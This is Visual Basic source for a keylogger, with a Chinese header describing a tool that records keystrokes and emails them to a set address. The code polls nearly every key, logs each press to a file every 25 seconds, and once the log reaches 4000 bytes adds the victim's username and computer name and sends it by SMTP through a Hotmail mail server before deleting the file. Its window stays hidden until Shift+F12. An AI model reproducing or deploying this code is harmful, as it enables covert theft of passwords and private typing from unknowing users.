keylog.frm

记录键盘的VB源代码,保存起来,并且到一定时候发送到指定的Email

      If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "%"
End If


keystate = Getasynckeystate(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "6"
      End If
      
      If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "^"
End If


keystate = Getasynckeystate(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "7"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "&"
End If

   
   keystate = Getasynckeystate(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "8"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "*"
End If

   
   keystate = Getasynckeystate(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "9"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "("
End If

   
   keystate = Getasynckeystate(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "0"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ")"
End If

   
   keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{bkspc}"
     End If
   
   keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{tab}"
     End If
   
   keystate = Getasynckeystate(vbKeyReturn)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + vbCrLf
     End If
   
   keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{shift}"
     End If
   
   keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{ctrl}"
     End If
   
   keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{alt}"
     End If
   
   keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{pause}"
     End If
   
   keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{esc}"
     End If
   
   keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + " "
     End If
   
   keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{end}"
     End If
   
   keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{home}"
     End If

keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{left}"
     End If

keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{right}"
     End If

keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{up}"
     End If
   
   keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{down}"
     End If

keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{insert}"
     End If

keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{Delete}"
     End If

keystate = Getasynckeystate(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + ";"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + ":"
  
      End If
     
keystate = Getasynckeystate(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "="
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "+"
     End If

keystate = Getasynckeystate(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + ","
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "<"
     End If

keystate = Getasynckeystate(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "-"
     End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "_"
     End If

keystate = Getasynckeystate(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "."
     End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + ">"
     End If

keystate = Getasynckeystate(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "/"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "?"
     End If

keystate = Getasynckeystate(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "`"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "~"
     End If

keystate = Getasynckeystate(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "["
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{"
     End If

keystate = Getasynckeystate(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "\"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "|"
     End If

keystate = Getasynckeystate(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "]"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "}"
     End If

keystate = Getasynckeystate(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "'"
     End If
     
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + Chr$(34)
     End If

keystate = Getasynckeystate(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "*"
     End If

keystate = Getasynckeystate(vbKeyDivide)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "/"
     End If

keystate = Getasynckeystate(vbKeyAdd)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "+"
     End If
   
keystate = Getasynckeystate(vbKeySubtract)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "-"
     End If
   
keystate = Getasynckeystate(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{Del}"
     End If
     
   keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F1}"
     End If
   
   keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F2}"
     End If
   
   keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F3}"
     End If
   
   keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F4}"
     End If
   
   keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F5}"
     End If
   
   keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F6}"
     End If
   
   keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F7}"
     End If
   
   keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F8}"
     End If
   
   keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F9}"
     End If
   
   keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F10}"
     End If
   
   keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F11}"
     End If
   
   keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{F12}"
     End If
     
If Shift <> 0 And (keystate And &H1) = &H1 Then
   Form1.Visible = True
     End If
         
    keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{NumLock}"
     End If
     
     keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{ScrollLock}"
         End If
   
    keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{PrintScreen}"
         End If
       
       keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{PageUp}"
         End If
       
       keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{Pagedown}"
         End If

         keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "1"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "2"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "3"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "4"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "5"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "6"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "7"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "8"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "9"
         End If
         
         keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "0"
         End If
         
End Sub
Private Sub Timer2_Timer()
'this timer interval is set to 25000 so it writes the logged keys
'to the file and checks file size every 25 seconds

Dim lfilesize As Long, txtlog As String, success As Integer
Dim from As String, name As String
Open logfile For Append As #1
'writes the the contents of text1 (the logged keys) to the
'logfile
Write #1, Text1
Close #1

Text1.Text = ""
'clears the text1 so it wont take up that much memory
lfilesize = FileLen(logfile) 'this gets the length of the log file

If lfilesize >= 4000 Then
'if the size of the log file is greater than 4000 bytes then
Text2 = ""

inform

Open logfile For Input As #1
While Not EOF(1)
Input #1, txtlog
DoEvents
Text2 = Text2 & vbCrLf & txtlog
'gets the contents in the log file and store it in text2
Wend
Close #1

txtstatus = ""

 'open socket
    Call StartWinsock("")

success = smtp("mail.hotmail.com", "25", "[e-mail]", "[e-mail]", "log file", "HUNGRY", "[e-mail]", "l o g f i l e", Text2)
'sends the contents of the text2 to [e-mail]
'change the address,mail server, etc. to befit you

If success = 1 Then
Kill logfile
'if the mailing attempt was a success then delete the current
'log file to free diskspace,
'a new one will be started by the append
End If
  'lets close the connection
    Call closesocket(mysock)
End If

End Sub

Public Sub FormOntop(FormName As Form)
    Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&, flags)
End Sub
Function GetCaption(WindowHandle As Long) As String
    Dim Buffer As String, TextLength As Long
    TextLength& = GetWindowTextLength(WindowHandle&)
    Buffer$ = String(TextLength&, 0&)
    Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
    GetCaption$ = Buffer$
End Function
Sub inform()
    Dim szUser As String * 255
    Dim vers As String * 255
    Dim lang, lReturn, comp As Long
    Dim s, x As Long
    lReturn = GetUserName(szUser, 255)
    comp = GetComputerName(vers, 1024)
    Text2 = "Username- " & szUser
    Text2 = Text2 & vbCrLf & "Computer Name- " & vers
End Sub